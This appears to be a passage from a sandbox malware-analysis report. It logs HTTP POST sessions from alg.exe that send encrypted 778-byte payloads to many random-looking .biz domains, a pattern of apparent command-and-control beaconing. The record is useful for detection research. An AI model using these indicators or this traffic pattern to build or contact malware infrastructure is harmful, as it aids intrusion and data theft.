Oct 28, 2024 16:52:36.832375050 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1bc53fe4039cec4975682bf37f136db6\|155.94.241.188\|1730130756\|1730130756\|0\|1\|0; path=/; domain=.qcrsp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	59990	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:37.032885075 CET	346	OUT	POST /ml HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sewlqwcd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:37.032885075 CET	778	OUT	Data Raw: 72 10 5a 7b c6 cb 3a e4 fe 02 00 00 8b 9b 9b d2 45 ec 62 76 22 29 9a ee d4 a0 94 a6 2b 4f 62 fd f7 bc d5 30 8c dc 1d 18 67 06 b0 01 1a 30 42 f0 6b d7 8e 3f 68 d3 52 f2 d3 9d 8d cf 4a 69 83 24 91 6d 41 c1 7d d9 30 a3 0a 4d b1 35 7f 94 76 94 05 5c Data Ascii: rZ{:Ebv")+Ob0g0Bk?hRJi$mA}0M5v\\"WC?.-j"%,.M^Uo$I;=wMYC"tuqmo7l)@_e%\FDQ#WVq:)<6R]"{cNNW!]VKAa:~^
Oct 28, 2024 16:52:37.722570896 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e99d1d698482b47a0b10394928eb1bc1\|155.94.241.188\|1730130757\|1730130757\|0\|1\|0; path=/; domain=.sewlqwcd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	59991	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:37.744014025 CET	352	OUT	POST /mxtehtsjbw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dyjdrp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:37.744014025 CET	778	OUT	Data Raw: 69 31 0b 99 90 f6 4f 51 fe 02 00 00 76 21 d1 8e 58 6c c4 97 e5 77 fb 03 6e 0a f3 ee a9 a4 d0 89 e6 ee 82 7c 27 72 28 6b ce 6d 0a a0 a7 37 c7 49 ad 03 a8 33 e4 f2 f6 c8 d8 a6 49 d2 83 92 33 81 ef 67 4e 81 c1 e1 24 9e e6 34 8e 43 22 2d 1c a3 8f d7 Data Ascii: i1OQv!Xlwn\|'r(km7I3I3gN$4C"-7R}"ck(T%23BR?f2v,:@lb3&Vuazb7(3[e:BF%f{;S`]C1$:4B's+mvv9.MQ08#1-
Oct 28, 2024 16:52:38.610407114 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=edba2fe0c7bedb5f7bc25d236ef8016e\|155.94.241.188\|1730130758\|1730130758\|0\|1\|0; path=/; domain=.dyjdrp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	59992	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:38.659461021 CET	349	OUT	POST /mcjaqbne HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: napws.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:38.659503937 CET	778	OUT	Data Raw: c7 b0 bc 35 1e d3 19 07 fe 02 00 00 a9 d2 d0 fe 15 d1 76 9b 5b 3b ea c5 5a de 73 b8 05 e4 b8 27 3a 11 63 95 0c 99 cb 6f ac 68 6c aa 78 6e f0 cc 57 82 39 93 a4 a0 c2 a2 49 48 39 b4 42 c2 18 b6 bb f0 1c fb 24 6b 1a 96 45 76 0c cc 3c 74 21 f4 a9 78 Data Ascii: 5v[;Zs':cohlxnW9IH9B$kEv<t!x8a=H?$@)I.p!\|cpI:NuD<8XZZk8t8zhD9}Q}K[RuVYg@n@i.a_vW(NE@.5}x
Oct 28, 2024 16:52:39.470838070 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ea97f3e585aa56c7ffcafa8c59e966ba\|155.94.241.188\|1730130759\|1730130759\|0\|1\|0; path=/; domain=.napws.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	59993	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:39.582664013 CET	360	OUT	POST /jpwoteajscxojhae HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qvuhsaqa.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:39.582695007 CET	778	OUT	Data Raw: ef 4f e7 a7 bb b0 af ca fe 02 00 00 15 52 46 2e fe 14 6f c7 44 c6 ec 84 3d 3d f6 4f a8 ae 4b 45 42 f7 8f 4e f1 46 57 56 84 d7 f6 83 cc 0f 63 2f c6 be 3b 78 c1 ad 60 05 8e 26 8b e5 98 73 01 16 72 df 5a 94 f7 d0 92 43 b4 9c 3f 91 75 78 7c 80 8e 0c Data Ascii: ORF.oD==OKEBNFWVc/;x`&srZC?ux\|SK,}"#KwRFE,e1J:{3,BgRiD<3xGW,D$e8JgE8xV\|_K"on?$GQ`%hFf
Oct 28, 2024 16:52:40.422995090 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d39ca0424fe97c2ea8d7170dd4347136\|155.94.241.188\|1730130760\|1730130760\|0\|1\|0; path=/; domain=.qvuhsaqa.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	59994	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:40.443310022 CET	350	OUT	POST /mlvudlfi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: apzzls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:40.443371058 CET	778	OUT	Data Raw: e7 3c 5b 59 41 0c 93 fa fe 02 00 00 c7 fa 29 5b a3 09 18 63 8a 74 c0 ef 7b ca c8 e8 26 54 a1 15 66 6c f1 0b 28 f9 ba 5e de 3d 89 d5 5b 0d c5 a3 1d 6e 44 cd c2 d3 e4 11 3a 2e c8 7b f7 d3 ca 56 ab 92 a8 e0 3b f5 f8 b5 5f 05 31 85 94 4c 20 ed 2b 31 Data Ascii: <[YA)[ct{&Tfl(^=[nD:.{V;_1L +1"FP4nvz0he-pN[iPx%j2FRHw5yaF@[Pb%HL)A8cA^-X@:S].}7T&pk2ll>tF
Oct 28, 2024 16:52:41.272118092 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=2084d3f38fed8286e7ce30c8a9add624\|155.94.241.188\|1730130761\|1730130761\|0\|1\|0; path=/; domain=.apzzls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	59995	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:41.294508934 CET	354	OUT	POST /icdmsrmds HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: krnsmlmvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:41.294543028 CET	778	OUT	Data Raw: a8 67 83 17 d4 a5 c7 8d fe 02 00 00 85 ff f8 5a 00 e6 e9 29 a5 95 26 0f 9d 91 8e 11 b1 90 88 aa 05 b3 6e e8 00 f0 5c 9c 0b 56 50 d0 95 49 aa 14 f6 4c 55 da 73 20 f1 dd ff 4e 1d d2 6c 67 db 76 8c 03 16 f0 d5 75 50 ec 4d 3f c5 7d b3 5d 05 ff 9b 76 Data Ascii: gZ)&n\VPILUs NlgvuPM?}]vWw6KuBFHw[S\,Vh?Nws>h>B]5VUE(n]j7GmSj*3aF:`ce!}m?>da0
Oct 28, 2024 16:52:42.713582993 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=89c218574366bd47e50c1328af618f4c\|155.94.241.188\|1730130762\|1730130762\|0\|1\|0; path=/; domain=.krnsmlmvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	59996	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:42.735892057 CET	345	OUT	POST /n HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nlscndwp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:42.735919952 CET	778	OUT	Data Raw: 31 01 a4 32 18 e8 5e fb fe 02 00 00 f7 86 31 f6 bd 02 c4 a6 78 98 97 6c cb fe eb a6 d4 07 81 43 af 9a 39 c1 29 91 28 b2 da c8 ee 49 f4 cb 5a 19 c2 fc 76 47 e3 5f ea 94 b2 b2 a3 1f d7 75 d3 99 62 cf 0a 08 9d fb 12 d8 c9 c6 64 17 c3 ec c0 08 3f 3e Data Ascii: 12^1xlC9)(IZvG_ubd?>"cgQL1!wG1]:=_MA9V lK>WC&,!^~ f:p>@23PD8TAK3G^t
Oct 28, 2024 16:52:43.565865993 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=30f223389e1fadeed229f1d1a431deb0\|155.94.241.188\|1730130763\|1730130763\|0\|1\|0; path=/; domain=.nlscndwp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	59997	3.94.10.34	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:43.679754019 CET	354	OUT	POST /lhdfgbabu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bzkysubds.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:43.679774046 CET	778	OUT	Data Raw: 28 d7 15 ae 57 b0 95 43 fe 02 00 00 6c 0a 42 65 b9 0c 3d 06 a0 85 70 b8 8d 46 65 60 eb 96 35 8c d3 97 1d 75 36 14 46 7f 99 85 2d 8f 20 83 6f 59 60 7f 28 73 1f e5 19 32 fa 33 93 24 5d b9 a9 50 3b 4f 64 e5 23 05 dd 6a 8a de ed ed 67 01 a8 37 d6 94 Data Ascii: (WClBe=pFe`5u6F- oY`(s23$]P;Od#jg7.5D{m\5s'tQ;D.1P\Tpfh+NA \|wiNHIZ6pL]\E{DsJPB[/t}x2dxb8oaQ_i0!F:q.S
Oct 28, 2024 16:52:44.343225956 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39284023ea0fffa8c73ce7f1f9e57492\|155.94.241.188\|1730130764\|1730130764\|0\|1\|0; path=/; domain=.bzkysubds.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	59998	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:44.377974987 CET	356	OUT	POST /qscftkkkcjjor HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ltpqsnu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:44.378000975 CET	778	OUT	Data Raw: ec 32 43 d6 78 70 23 a5 fe 02 00 00 ae 63 4c a1 df 6c 87 64 e2 1a b7 11 c0 a2 b2 18 9c b4 ec 4b 3f 65 26 66 b4 5e d8 e2 12 b2 0d d3 6a 9a 0e 4f 63 61 4b 35 6e 25 80 76 88 3a 60 44 7f 9f 26 a6 3f 1f ae 7c 38 a9 78 87 ae d4 34 6b 70 ef bb ba ee 5e Data Ascii: 2Cxp#cLldK?e&f^jOcaK5n%v:`D&?\|8x4kp^Rz[lz~E"1H)\|vs9m{1'=^rmV(Jfvbw%~!`mjgbb$2=np25Cksv4Ic!_U
Oct 28, 2024 16:52:45.037393093 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4ff85c967e2d753a629cb505957f1b83\|155.94.241.188\|1730130764\|1730130764\|0\|1\|0; path=/; domain=.ltpqsnu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	59999	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:45.059422016 CET	344	OUT	POST /bsw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vnvbt.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:45.059459925 CET	778	OUT	Data Raw: b2 89 39 fe e3 86 da 98 fe 02 00 00 ba 79 70 fe 5f b4 56 4d 37 fb 10 a6 1b 3e bd dd 0e e2 9d 2e 6a 39 a4 f0 2b a4 38 83 65 49 37 d3 67 2d ab 9d f7 af 72 58 56 d3 ef 46 e9 a2 9a 71 52 7d 29 a0 8a f0 76 96 07 62 25 18 c1 c0 30 54 a1 77 40 3e 10 5c Data Ascii: 9yp_VM7>.j9+8eI7g-rXVFqR})vb%0Tw@>\Uo>WAy}S\juxZYtrieMxunNB#]KdZ2+zRNcJ`\|O.4L)apJy8O\|@PCDyWCx9~-=$bp
Oct 28, 2024 16:52:45.892080069 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c0371f6fad110df6016a8e69cdfda9ba\|155.94.241.188\|1730130765\|1730130765\|0\|1\|0; path=/; domain=.vnvbt.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	60000	3.94.10.34	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:45.919753075 CET	354	OUT	POST /grbkwbsae HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ypituyqsq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:45.919776917 CET	778	OUT	Data Raw: a8 7a e4 b1 1e 8b 95 37 fe 02 00 00 ee a6 7b 53 ed 8f 98 7f 93 77 4f e8 08 c3 a1 8c 09 58 29 a6 16 23 45 52 a4 14 16 6f bb 70 36 9c a0 7d 22 c6 76 6f 37 aa d4 d7 05 75 7d 28 5b 7d 2b 80 19 34 c6 f1 4d 13 45 0f 23 8f aa 78 d5 74 d1 f5 83 5a 94 9f Data Ascii: z7{SwOX)#ERop6}"vo7u}([}+4ME#xtZ,37ww}ZT`]Q'+/y8`c3^(]W/[hw+1.RMcn4uv3]1!JXfsAW00N0p;2NvVZ/H#RL
Oct 28, 2024 16:52:46.585510969 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=380cf4c1db9551d28cb8e0e3f9e02a49\|155.94.241.188\|1730130766\|1730130766\|0\|1\|0; path=/; domain=.ypituyqsq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	60001	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:46.612720013 CET	359	OUT	POST /vlwdbxkbnakykkgr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ijnmvqa.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:46.612736940 CET	778	OUT	Data Raw: 9f 9c 95 ce e8 b6 aa a5 fe 02 00 00 05 3f 9e 45 4b 8f 95 db 8d 3d ed 86 f6 4b 84 15 f9 4d 4b db 80 55 09 44 c3 25 b5 34 3b 0a 90 61 66 46 a6 a8 09 31 a0 6b 8c 83 80 22 ad a8 f3 84 24 9a 94 c3 e9 27 df ad 72 36 b1 7b e5 7c 84 c5 bc 33 0c 21 4b 76 Data Ascii: ?EK=KMKUD%4;afF1k"$'r6{\|3!KvWG`OqM$XV8lC#Ns{NNK@Zp\[Y,+4cAGOJqcL>,w}3G"'{#}iE_rN\|1
Oct 28, 2024 16:52:47.453248024 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=35a230a9f03934c5637dbc965b718612\|155.94.241.188\|1730130767\|1730130767\|0\|1\|0; path=/; domain=.ijnmvqa.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	60002	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:47.504612923 CET	350	OUT	POST /agvjkxoax HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tltxn.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:47.504640102 CET	778	OUT	Data Raw: c9 54 c3 76 cd 27 ed 4f fe 02 00 00 1b ca 90 e7 67 8c 44 8a c1 86 b7 d8 41 42 61 83 87 a6 2f 9e c3 3a 23 ac 91 fd 81 e9 33 19 a8 e6 2f f3 a3 89 20 40 89 35 8f 8c c0 9c 10 e4 d0 7b 9e 73 68 19 eb 6f df 17 59 cd 8f c1 0f a0 81 b5 31 f3 23 3d ee 42 Data Ascii: Tv'OgDABa/:#3/ @5{shoY1#=B"jo\KXS5ybw>#c}3W_z!Se~?KD1[`L[wQMVyRz]TW[c]\|gx7rAPxQJOiYtEL{-*6I1Of/rim
Oct 28, 2024 16:52:48.176425934 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5fd9e6771f810c04187364fca1a2c986\|155.94.241.188\|1730130768\|1730130768\|0\|1\|0; path=/; domain=.tltxn.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	60003	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:48.204962969 CET	349	OUT	POST /gopuf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vgypotwp.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:48.204989910 CET	778	OUT	Data Raw: f5 3c f6 88 40 bd 89 c9 fe 02 00 00 9e dd 00 59 5c 20 b9 18 a4 39 0e f0 76 56 5d 8c 20 fd d7 7d a5 72 e0 aa 12 69 a6 4d 90 d7 c3 35 fc 2f 20 40 55 02 84 d2 10 5b 1e ce 01 e8 11 be 33 c3 6e 37 87 b6 11 60 e3 fd ea 12 32 d2 8a da 55 9e 8a 06 ed 81 Data Ascii: <@Y\ 9vV] }riM5/ @U[3n7`2UEi*hobBc<S5M~^SE.R 3&kfkGElRgMH9]dHY[Yx&,zjX'kT('"&.V<_0q!/H
Oct 28, 2024 16:52:49.085321903 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1276720df5c555a96cb1b901a6f243d8\|155.94.241.188\|1730130768\|1730130768\|0\|1\|0; path=/; domain=.vgypotwp.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	60004	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:52:49.127609015 CET	347	OUT	POST /cfjx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: giliplg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:52:49.127643108 CET	778	OUT	Data Raw: b8 4b e4 10 d5 1a 39 05 fe 02 00 00 90 cc 99 13 8c 30 f0 62 b5 a1 84 c0 81 ea f1 69 21 84 c5 01 61 16 26 d5 24 bc 0d 3b 2a 4e 14 3b db 89 f8 b6 01 ca 45 64 e1 2c 7f 09 43 93 96 21 76 b0 e2 7c 55 e3 d9 3c 58 c3 4c 7f 23 57 08 33 52 19 7f 1f b1 86 Data Ascii: K90bi!a&$;N;Ed,C!v\|U<XL#W3REA&$5:d<ae;AJ;ITK E=e;s1/-M GDOxR1FCqAC-wKV%u;t;F~XzG\$B,<nz5p>s
Oct 28, 2024 16:52:49.959461927 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:52:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=15f3ae4d814c564364e51aa340477d69\|155.94.241.188\|1730130769\|1730130769\|0\|1\|0; path=/; domain=.giliplg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	60005	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

